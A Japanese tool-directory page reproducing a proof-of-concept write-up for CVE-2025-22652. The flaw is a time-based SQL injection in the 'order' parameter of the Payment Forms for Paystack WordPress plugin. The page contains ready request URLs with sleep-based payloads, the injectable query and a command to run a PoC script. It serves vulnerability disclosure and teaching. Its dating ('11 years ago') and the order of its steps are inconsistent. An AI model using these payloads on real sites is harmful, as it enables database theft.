Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-22652 — CVE-2025-22652のPoC | Kitploit
ツール/GitHubGitHub/dottak/cve-2025-22652
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubdottak/cve-2025-22652

CVE-2025-22652

CVE-2025-22652のPoC

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-22652

1️⃣ コンポーネントタイプ

WordPress プラグイン

2️⃣ コンポーネント詳細

コンポーネント名 Payment Forms for Paystack

脆弱性のあるバージョン <= 4.0.1

コンポーネントスラッグ payment-forms-for-paystack

コンポーネントリンク https://wordpress.org/plugins/payment-forms-for-paystack/

3️⃣ OWASP 2017: TOP 10

脆弱性クラス A3: インジェクション

脆弱性タイプ SQLインジェクション

4️⃣ 前提条件

管理者

5️⃣ 脆弱性の詳細

👉 簡単な説明

Payment Forms for Paystack プラグインバージョン4.0.1以下では、支払いフォームの支払いリストを表示する際に、URLパラメータ order に対する入力検証とエスケープ処理が不十分なため、SQLインジェクションの脆弱性が存在します。これにより、管理者権限を持つ攻撃者は、対象サイトのデータベースからすべての情報を抽出できます。

この脆弱性では直接データのクエリはできませんが、Time-based SQL Injection 技術を使用してデータを抽出できます。

👉 再現方法(PoC)

  1. Payment Forms for Paystack プラグインバージョン4.0.1以下がインストールされたWordPressサイトを用意します。

  2. ルックアップを実行するにはPaystackフォームを追加する必要があるため、Paystackフォーム追加メニュー(wp-admin/post-new.php?post_type=paystack_form)からフォームを追加します。

    image

  3. フォームを追加したら、ショートコードを確認し、以下のURLのURLパラメータ form にそのショートコードの属性IDを挿入してからアクセスします。

    root@kitploit:~
    http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<Insertion Point>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1)
    

    例えば、[pff-paystack id="13"] の場合、http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1) にアクセスします。

    image

  4. その結果、URLパラメータ order に挿入されたSQLインジェクションペイロードの条件句 where 1=1 が常に真であるため、sleep(5) 関数が実行され、5秒後に応答が届くことを確認できます。

👉 追加情報(オプション)

[脆弱性の原因]

脆弱性が発生するURLをリクエストすると、ファイル /wp-content/plugins/payment-forms-for-paystack/includes/classes/class-helpers.php 内の get_payments_by_id 関数が呼び出されます。

このとき、URLパラメータ order は入力検証やエスケープ処理が行われずにSQLクエリに直接挿入され、データベース上で実行されます。

image

したがって、SQLインジェクションペイロード , (select sleep(5) from dual where 1=1) がURLパラメータ order に挿入されると、以下に示すSQLクエリが実行されます。このとき、ペイロード内の条件句が真か偽かによって応答時間に差が生じ、この時間差を利用してデータベースからデータを抽出できます。

root@kitploit:~
SELECT * FROM %i WHERE post_id = %d AND paid = %s ORDER BY %i , (select sleep(5) from dual where 1=1)

[PoCコードの実装と実行]

  1. エディタでPoCコードを開き、WordPressサイトのアドレスと管理者の認証情報を入力します。

    image

  2. 次に、以下のコマンドを入力してPoCコードを実行します。

    Required module requests

    root@kitploit:~
    python poc.py
    

    image

6️⃣ エクスプロイトデモ

video

7️⃣ 参考文献

  • https://nvd.nist.gov/vuln/detail/CVE-2025-22652
ツールをダウンロード

image

  • 一方、order に挿入されたSQLインジェクションペイロードの条件句を where 1=2 に変更すると、応答が即座に届くことを確認できます。

    root@kitploit:~
    http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<Insertion Point>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2)
    

    例えば、[pff-paystack id="13"] の場合、http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2) にアクセスします。

    image